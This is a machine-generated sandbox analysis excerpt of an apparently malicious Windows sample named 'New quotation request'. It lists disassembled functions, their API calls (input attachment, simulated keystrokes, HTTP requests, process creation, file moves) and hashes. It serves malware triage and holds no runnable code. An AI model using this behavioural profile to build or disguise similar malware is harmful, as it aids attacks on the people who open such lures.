                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ClassMessageNameParentSend_wcscmp
                                                                    • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                    • API String ID: 1704125052-3381328864
                                                                    • Opcode ID: 92f2611b40b4086ee3a7c5c747c8ffa8f41943410167c0db46c2fd9ae48ba4eb
                                                                    • Instruction ID: 776257d42cd1fa6e26e98de8236b2f1ce408a5faefcff74768be0ff295d4f19d
                                                                    • Opcode Fuzzy Hash: 92f2611b40b4086ee3a7c5c747c8ffa8f41943410167c0db46c2fd9ae48ba4eb
                                                                    • Instruction Fuzzy Hash: 4E110A3625930BB9FA176624DC1BEE737DC9B25720F200427F900A44D7EF626C615994
                                                                    Function 00317990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00317A6C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ArraySafeVartype
                                                                    • String ID:
                                                                    • API String ID: 1725837607-0
                                                                    • Opcode ID: 2e01827b4c2a9fcbca4ff30f00ab01f3019574168a3c302510cf5200517162f5
                                                                    • Instruction ID: c81fef2159dd4a7ae6ee4332103be98eb63f096e9e5eae1dc4807e0680d7f6fc
                                                                    • Opcode Fuzzy Hash: 2e01827b4c2a9fcbca4ff30f00ab01f3019574168a3c302510cf5200517162f5
                                                                    • Instruction Fuzzy Hash: E7B18E7190820A9FDB16DFA4C884BFEB7B9EF0D321F294429E501EB251D734E981CB90
                                                                    Function 003111CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCurrentThreadId.KERNEL32 ref: 003111F0
                                                                    • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00310268,?,00000001), ref: 00311204
                                                                    • GetWindowThreadProcessId.USER32(00000000), ref: 0031120B
                                                                    • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00310268,?,00000001), ref: 0031121A
                                                                    • GetWindowThreadProcessId.USER32(?,00000000), ref: 0031122C
                                                                    • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00310268,?,00000001), ref: 00311245
                                                                    • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00310268,?,00000001), ref: 00311257
                                                                    • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00310268,?,00000001), ref: 0031129C
                                                                    • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00310268,?,00000001), ref: 003112B1
                                                                    • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00310268,?,00000001), ref: 003112BC
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                    • String ID:
                                                                    • API String ID: 2156557900-0
                                                                    • Opcode ID: 625cdfe0e5620f2381c574c1a88d557e5aba2dd815e8542160aeb5ff340ff30b
                                                                    • Instruction ID: 8001f555d9b22c75c9d18ce42a204373da210dbab9df2ae98c0207c8dc2f823b
                                                                    • Opcode Fuzzy Hash: 625cdfe0e5620f2381c574c1a88d557e5aba2dd815e8542160aeb5ff340ff30b
                                                                    • Instruction Fuzzy Hash: DE31F075A00A08BFDB279F50EC8AFEA37ADEB58311F114525FE08C61A0D3B09DC18B60
                                                                    Function 002BFA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 002BFAA6
                                                                    • OleUninitialize.OLE32(?,00000000), ref: 002BFB45
                                                                    • UnregisterHotKey.USER32(?), ref: 002BFC9C
                                                                    • DestroyWindow.USER32(?), ref: 002F45D6
                                                                    • FreeLibrary.KERNEL32(?), ref: 002F463B
                                                                    • VirtualFree.KERNEL32(?,00000000,00008000), ref: 002F4668
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                                    • String ID: close all
                                                                    • API String ID: 469580280-3243417748
                                                                    • Opcode ID: 50ab722c21ef4fc7172b436439359c43f7b79f1a2449df7d6ee382bb8efc2b08
                                                                    • Instruction ID: 8668cebad4637b78c25fdf8f72cbec1678019659034bc1a94163345b63249aa0
                                                                    • Opcode Fuzzy Hash: 50ab722c21ef4fc7172b436439359c43f7b79f1a2449df7d6ee382bb8efc2b08
                                                                    • Instruction Fuzzy Hash: F3A18030721116CFCB19EF14C995BBAF764AF05780F5442BDE90AAB261DB70AD62CF50
                                                                    Function 00329113 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$ClearInit$_memset
                                                                    • String ID: ,,4$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                    • API String ID: 2862541840-687562478
                                                                    • Opcode ID: 7d95474d9327d0521f0a6348bf2e247584bb3f8510197b972745f3d96738a716
                                                                    • Instruction ID: 0cf9fb7e4df2cfe8c57d4bf4316b112bf5f443fa6c6592d2369cb392f7434e48
                                                                    • Opcode Fuzzy Hash: 7d95474d9327d0521f0a6348bf2e247584bb3f8510197b972745f3d96738a716
                                                                    • Instruction Fuzzy Hash: 23919271E00229EBDF25CFA5D848FAEB7B8EF45710F10855AF515AB280D7709945CFA0
                                                                    Function 0030A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • EnumChildWindows.USER32(?,0030A439), ref: 0030A377
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ChildEnumWindows
                                                                    • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                    • API String ID: 3555792229-1603158881
                                                                    • Opcode ID: f6b5e680437ebd5fa6c63dc81d4f47c1ae2923d4b0a218a91ec9d47cd70a4f90
                                                                    • Instruction ID: 8532179e92f327f51cebb7636db636dbf3983805d7c9a9b556ae5de8e83b3927
                                                                    • Opcode Fuzzy Hash: f6b5e680437ebd5fa6c63dc81d4f47c1ae2923d4b0a218a91ec9d47cd70a4f90
                                                                    • Instruction Fuzzy Hash: FC91D731601B05ABCB09DFA0D4A2BEEFBB8BF04300F55852AD449A7291DF316999CF91
                                                                    Function 002B2E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetWindowLongW.USER32(?,000000EB), ref: 002B2EAE
                                                                      • Part of subcall function 002B1DB3: GetClientRect.USER32(?,?), ref: 002B1DDC
                                                                      • Part of subcall function 002B1DB3: GetWindowRect.USER32(?,?), ref: 002B1E1D
                                                                      • Part of subcall function 002B1DB3: ScreenToClient.USER32(?,?), ref: 002B1E45
                                                                    • GetDC.USER32 ref: 002ECD32
                                                                    • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 002ECD45
                                                                    • SelectObject.GDI32(00000000,00000000), ref: 002ECD53
                                                                    • SelectObject.GDI32(00000000,00000000), ref: 002ECD68
                                                                    • ReleaseDC.USER32(?,00000000), ref: 002ECD70
                                                                    • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 002ECDFB
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                                    • String ID: U
                                                                    • API String ID: 4009187628-3372436214
                                                                    • Opcode ID: 2030e07594f0dfb92c8207acd9032d45f65d055afb32c6a567a90f533436231c
                                                                    • Instruction ID: cf8da4885c2ba8a002624a45993df37917d2f4ac0fe7d904109ad7e8c1ac684a
                                                                    • Opcode Fuzzy Hash: 2030e07594f0dfb92c8207acd9032d45f65d055afb32c6a567a90f533436231c
                                                                    • Instruction Fuzzy Hash: 2771F631910246DFCF258FA5CC80AEA3BB5FF48350F64426AED555A265C731DCA2DF60
                                                                    Function 00321A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00321A50
                                                                    • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00321A7C
                                                                    • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00321ABE
                                                                    • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00321AD3
                                                                    • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00321AE0
                                                                    • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00321B10
                                                                    • InternetCloseHandle.WININET(00000000), ref: 00321B57
                                                                      • Part of subcall function 00322483: GetLastError.KERNEL32(?,?,00321817,00000000,00000000,00000001), ref: 00322498
                                                                      • Part of subcall function 00322483: SetEvent.KERNEL32(?,?,00321817,00000000,00000000,00000001), ref: 003224AD
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
                                                                    • String ID:
                                                                    • API String ID: 2603140658-3916222277
                                                                    • Opcode ID: 77b9f3001280a3e4d408d9135faefd1a9a4db057140dc6f6882e963a52f5e600
                                                                    • Instruction ID: 883c74e4ad61b9635a0ea0c57270a8aab88d50dddcb8ffb658ed55938d63d6dc
                                                                    • Opcode Fuzzy Hash: 77b9f3001280a3e4d408d9135faefd1a9a4db057140dc6f6882e963a52f5e600
                                                                    • Instruction Fuzzy Hash: 79416EB1901228BFEB139F50DD89FBB7BACEF18354F00412AF9059A151E7749E449BA0
                                                                    Function 00328C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetModuleFileNameW.KERNEL32(?,?,00000104,?,0033F910), ref: 00328D28
                                                                    • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0033F910), ref: 00328D5C
                                                                    • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00328ED6
                                                                    • SysFreeString.OLEAUT32(?), ref: 00328F00
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                                    • String ID:
                                                                    • API String ID: 560350794-0
                                                                    • Opcode ID: b6e2d7178d8190b014c92381766e83b568398cde4272b561076bb230b2105af4
                                                                    • Instruction ID: 83d6137d0f8b94b4d4a5694b5f1b0d5da6766002ad8f4deddc808e9fa206995a
                                                                    • Opcode Fuzzy Hash: b6e2d7178d8190b014c92381766e83b568398cde4272b561076bb230b2105af4
                                                                    • Instruction Fuzzy Hash: 7DF13871A00229EFCF05DF94D884EAEB7B9FF49314F118499F905AB251DB31AE46CB90
                                                                    Function 0032F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0032F6B5
                                                                    • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0032F848
                                                                    • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0032F86C
                                                                    • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0032F8AC
                                                                    • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0032F8CE
                                                                    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0032FA4A
                                                                    • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 0032FA7C
                                                                    • CloseHandle.KERNEL32(?), ref: 0032FAAB
                                                                    • CloseHandle.KERNEL32(?), ref: 0032FB22
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                                    • String ID:
                                                                    • API String ID: 4090791747-0
                                                                    • Opcode ID: 651c7d9a9a1226c0963b2cf5ee53b301c23be0adaeb4bac7fb19d6438f8e7ec3
                                                                    • Instruction ID: 7942bb7be7cfc8f047e2f81801c41d0aadbad31fec687a35031bf10ccb3e6c2f
                                                                    • Opcode Fuzzy Hash: 651c7d9a9a1226c0963b2cf5ee53b301c23be0adaeb4bac7fb19d6438f8e7ec3
                                                                    • Instruction Fuzzy Hash: C1E1AD316042109FC716EF24D891B6ABBF5AF89354F14896EF8898B2A2CB31DC45CF52
                                                                    Function 00314CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 0031466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00313697,?), ref: 0031468B
                                                                      • Part of subcall function 0031466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00313697,?), ref: 003146A4
                                                                      • Part of subcall function 00314A31: GetFileAttributesW.KERNEL32(?,0031370B), ref: 00314A32
                                                                    • lstrcmpiW.KERNEL32(?,?), ref: 00314D40
                                                                    • _wcscmp.LIBCMT ref: 00314D5A
                                                                    • MoveFileW.KERNEL32(?,?), ref: 00314D75
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                                    • String ID:
                                                                    • API String ID: 793581249-0
                                                                    • Opcode ID: 037bd2d089ed31b33024337d2249223de8e71b00c9c438089df6e8a95ae7cec1
                                                                    • Instruction ID: a2a017a5d6315bd024f1ed8b7f62ab685685641d9ec62f4f8f5fb0b546c10708
                                                                    • Opcode Fuzzy Hash: 037bd2d089ed31b33024337d2249223de8e71b00c9c438089df6e8a95ae7cec1
                                                                    • Instruction Fuzzy Hash: E75142B24083459BC725EB60D8819DFB3ECAF88350F40092FF689D7152EF31A589CB66
                                                                    Function 00338645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 003386FF
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: InvalidateRect
                                                                    • String ID:
                                                                    • API String ID: 634782764-0
                                                                    • Opcode ID: d8bb62ff721ab46b7b5693fad817747c471173f0a36bb0373eca2027922f04ff
                                                                    • Instruction ID: 1e38eac58d957a452db70624799de43a5c03fcc622c6c0978df419689c662d59
                                                                    • Opcode Fuzzy Hash: d8bb62ff721ab46b7b5693fad817747c471173f0a36bb0373eca2027922f04ff
                                                                    • Instruction Fuzzy Hash: B651A230600344BFEF269F28CCC6FAD7B69EB05350F604115FA55EA5A1CFB1A990CB41
                                                                    Function 002B2B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 002EC2F7
                                                                    • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 002EC319
                                                                    • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 002EC331
                                                                    • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 002EC34F
                                                                    • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 002EC370
                                                                    • DestroyIcon.USER32(00000000), ref: 002EC37F
                                                                    • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 002EC39C
                                                                    • DestroyIcon.USER32(?), ref: 002EC3AB
                                                                      • Part of subcall function 0033A4AF: DeleteObject.GDI32(00000000), ref: 0033A4E8
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
                                                                    • String ID:
                                                                    • API String ID: 2819616528-0
                                                                    • Opcode ID: 2688afc534af75e16145b11651470fb6c8ffa4e81c8f545d710fac15ae8cad90
                                                                    • Instruction ID: 7c331762c60c85ca1e9a90444bee9d8fa87c60a1a5f9e27dd4f1c03abe21dacf
                                                                    • Opcode Fuzzy Hash: 2688afc534af75e16145b11651470fb6c8ffa4e81c8f545d710fac15ae8cad90
                                                                    • Instruction Fuzzy Hash: B7519E70A20305EFDB25DF65CC85FAA3BB9EB08350F604528F94697290DBB0ECA1DB50
                                                                    Function 0030966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 0030A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 0030A84C
                                                                      • Part of subcall function 0030A82C: GetCurrentThreadId.KERNEL32 ref: 0030A853
                                                                      • Part of subcall function 0030A82C: AttachThreadInput.USER32(00000000,?,00309683,?,00000001), ref: 0030A85A
                                                                    • MapVirtualKeyW.USER32(00000025,00000000), ref: 0030968E
                                                                    • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 003096AB
                                                                    • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 003096AE
                                                                    • MapVirtualKeyW.USER32(00000025,00000000), ref: 003096B7
                                                                    • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 003096D5
                                                                    • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 003096D8
                                                                    • MapVirtualKeyW.USER32(00000025,00000000), ref: 003096E1
                                                                    • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 003096F8
                                                                    • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 003096FB
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                    • String ID:
                                                                    • API String ID: 2014098862-0
                                                                    • Opcode ID: 4e662928d9eb598ad9781fc02470728ad0970564ad545fb4e83e47773d0de44f
                                                                    • Instruction ID: 13f83679a23450c73851c0ab00272a5f6144b2234812b1051944ab6ccf05edc6
                                                                    • Opcode Fuzzy Hash: 4e662928d9eb598ad9781fc02470728ad0970564ad545fb4e83e47773d0de44f
                                                                    • Instruction Fuzzy Hash: C811A1B1D50618BEF6126F60EC8AF6A7F2DEB4C761F510425F244AB0E1C9F35C50DAA4
                                                                    Function 00308921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0030853C,00000B00,?,?), ref: 0030892A
                                                                    • HeapAlloc.KERNEL32(00000000,?,0030853C,00000B00,?,?), ref: 00308931
                                                                    • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0030853C,00000B00,?,?), ref: 00308946
                                                                    • GetCurrentProcess.KERNEL32(?,00000000,?,0030853C,00000B00,?,?), ref: 0030894E
